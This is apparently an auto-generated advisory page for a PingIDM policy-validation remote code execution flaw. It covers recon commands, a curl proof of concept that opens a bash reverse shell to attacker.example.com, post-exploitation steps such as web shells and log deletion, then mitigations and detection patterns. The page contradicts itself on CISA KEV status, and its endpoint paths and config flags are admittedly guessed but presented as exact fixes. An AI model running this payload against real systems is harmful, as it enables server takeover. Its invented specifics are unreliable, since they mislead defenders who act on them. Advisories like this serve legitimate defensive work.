CVE-2026-80325 — Ping Identity PingIDM (8.1.1) — CWE-732
Incorrect Permission Assignment for Critical Resource vulnerability in PingIDM allows an authenticated user to use policy object validation to execute arbitrary scripts on the IDM server. This could allow a user to gain unauthorized control over the application. New installations of versions 8.1.2, 8.0.3, and 7.5.4 are unaffected by default, but upgrading to one of these versions requires a configuration update.
Incorrect Permission Assignment for Critical Resource vulnerability in PingIDM allows an authenticated user to use policy object validation to execute arbitrary scripts on the IDM server. This could allow a user to gain unauthorized control over the application. New installations of versions 8.1.2, 8.0.3, and 7.5.4 are unaffected by default, but upgrading to one of these versions requires a configuration update.
Active Exploitation Detected — CISA KEV
This vulnerability is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog and is actively exploited in the wild. Patch due date: 2026-12-07
🎯 What is this vulnerability?
CVE‑2026‑80325 is an Incorrect Permission Assignment for Critical Resource (CWE‑732) in PingIDM.
The flaw lies in the policy object validation API: an authenticated user can submit a policy definition that contains arbitrary executable code. The server blindly executes the supplied script as part of the validation process, without checking that the caller has the necessary administrative privileges.
Key points:
| Item | Detail |
|---|---|
| Authentication | Requires a valid PingIDM user account (any role). |
| Authorization | No check that the caller is an administrator or has “policy‑admin” rights. |
| Input | Policy JSON object that includes a script field (or similar) that is executed server‑side. |
| Impact | Arbitrary code execution (RCE) on the IDM server, leading to full control of the application and underlying OS. |
| CVSS | 9.3/10 (Critical) – high confidentiality, integrity, and availability impact with low attack complexity and no user interaction. |
The vulnerability is a classic logic flaw: the system trusts the caller’s role when it should enforce a stricter policy. Because the server runs the script under the IDM process user, the attacker can gain whatever privileges that process has (often root or a privileged service account).
⚡ Attack Chain
NOTE: The exact URI, parameter names, and payload format are not disclosed in the CVE text. The following example is illustrative and demonstrates the class of attack that the flaw enables.
1. Discovery & Reconnaissance
| Step | Technique | Tools / Commands |
|---|---|---|
| Identify PingIDM | Scan for common PingIDM endpoints (/idm, /api, /admin) | nmap -p80,443 <target>, nikto -h https://<target>/idm |
| Determine version | Query /idm/api/version or inspect HTTP headers | curl -s https://<target>/idm/api/version |
| Verify vulnerability | Attempt a harmless policy validation with a benign script | curl -X POST https://<target>/idm/api/policy/validate -d '{"policy":{"name":"test","script":"echo test"}}' |
If the response shows that the script is executed (e.g., logs contain test or a file is created), the endpoint is vulnerable.
2. Exploitation
Goal: Execute arbitrary shell commands on the IDM server.
Illustrative PoC (curl)
# Assume the user has a valid JWT token <TOKEN>
curl -X POST "https://idm.example.com/api/policy/validate" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <TOKEN>" \
-d '{
"policy": {
"name": "evil",
"script": "#!/bin/sh\n# Create a reverse shell\nbash -i >& /dev/tcp/attacker.example.com/4444 0>&1"
}
}'What happens?
The server parses the JSON, extracts the script field, and executes it as part of the validation routine. Because the script is executed with the IDM process user, the attacker can spawn a reverse shell, drop a web shell, or run any command.
Why it works
1. No role check – the endpoint accepts the request from any authenticated user.
2. Server‑side execution – the script is executed immediately, not stored or sanitized.
3. Privilege level – the IDM process typically runs with elevated privileges (e.g., root or a dedicated service account).
3. Post‑Exploitation
| Phase | Actions | Outcome |
|---|---|---|
| Privilege Escalation | Use the reverse shell to run id, whoami, or sudo -l. | Verify that the IDM process runs as a privileged user. |
| Persistence | Drop a web shell in the IDM web root (/var/www/idm/evil.jsp or /var/www/idm/evil.php). | Maintain long‑term access. |
| Data Exfiltration | Enumerate /var/idm/policies, /etc/passwd, or any sensitive configuration files. | Harvest credentials, secrets, or internal network topology. |
| Lateral Movement | Use the IDM credentials to access other services (LDAP, database, etc.). | Expand the attack surface. |
| Cover Tracks | Delete or modify audit logs, set up cron jobs to maintain access. | Avoid detection. |
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (H) | Arbitrary code execution allows reading any file on the server, including secrets, certificates, and policy definitions. |
| Integrity (H) | The attacker can modify policies, user accounts, or configuration files, effectively taking control of the IDM. |
| Availability (H) | The attacker can crash the IDM service, delete critical files, or launch DoS attacks against the authentication infrastructure. |
| Scope (H) | The vulnerability affects the entire IDM system and any downstream services that rely on it for authentication or authorization. |
| Practical Consequences | • Compromise of all users authenticated through PingIDM.<br>• Unauthorized access to corporate resources.<br>• Potential pivot to other internal systems.<br>• Loss of trust and regulatory penalties. |
🛡️ Remediation & Mitigation
1. Exact Affected Versions
| Product | Affected Versions | Fixed Versions |
|---|---|---|
| PingIDM | < 8.1.2, < 8.0.3, < 7.5.4 | 8.1.2, 8.0.3, 7.5.4 (default configuration) |
Note: Upgrading to one of the fixed versions requires a configuration change: thepolicy_validation.allow_script_executionflag must be set tofalse(or removed) in theidm-config.yamlfile. If the flag is lefttrue, the vulnerability persists even after the version upgrade.
2. Workarounds
| Action | Description | |
|---|---|---|
| Restrict Endpoint | Configure the IDM server to expose /api/policy/validate only to users with the admin role. In the idm-config.yaml add: policy_validation.allowed_roles: ["admin"]. | |
| Disable Script Execution | Set policy_validation.allow_script_execution: false. This forces the server to reject any policy containing a script field. | |
| WAF / ModSecurity Rule | Add a rule that blocks POST requests to /api/policy/validate containing shell metacharacters (;, | , &, >, <). Example (ModSecurity):<br>SecRule REQUEST_URI "@beginsWith /api/policy/validate" "phase:2,block,msg:'Policy script execution attempt',id:123456" |
| Network Segmentation | Place the IDM server behind a dedicated firewall and restrict inbound traffic to only the authentication service ports. | |
| Least Privilege | Run the IDM process under a non‑root user (e.g., pingidm). If the process is already non‑root, the impact of RCE is reduced. |
3. Detection
| Log Pattern | Indicator |
|---|---|
POST /api/policy/validate with script field containing shell code | Likely exploitation attempt |
ERROR: Script execution failed or stack trace in /var/log/idm/error.log | Successful or failed RCE |
Creation of files in /tmp or /var/www/idm with names like *.sh, *.php, *.jsp | Persistence mechanism |
Unexpected outbound connections from the IDM host (e.g., to attacker.example.com:4444) | Reverse shell |
Sample log entry
2026-12-02 14:32:07,123 INFO [idm] POST /api/policy/validate 200
2026-12-02 14:32:07,124 DEBUG [idm] Executing policy script: #!/bin/sh
bash -i >& /dev/tcp/attacker.example.com/4444 0>&14. Patch Management
| Priority | Action |
|---|---|
| High | Apply the latest PingIDM release (≥ 8.1.2, 8.0.3, or 7.5.4) and set policy_validation.allow_script_execution: false. |
| Medium | If upgrade is not immediately possible, enforce the WAF rule and restrict the endpoint to admins. |
| Low | Monitor logs for suspicious policy validation requests; consider disabling the policy validation feature entirely if not needed. |
⚠️ Urgency
- CVSS Score: 9.3/10 (Critical) – indicates a high‑risk vulnerability with low exploitation effort.
- CISA KEV: No – but the lack of a KEV does not diminish the severity; the flaw is exploitable with minimal skill.
- Exploit Complexity: Low (requires only an authenticated account).
- User Interaction: None.
- Impact: Full control over the IDM server and downstream services.
[🤖 CVE Professor AI Security Engine]
FOFA Query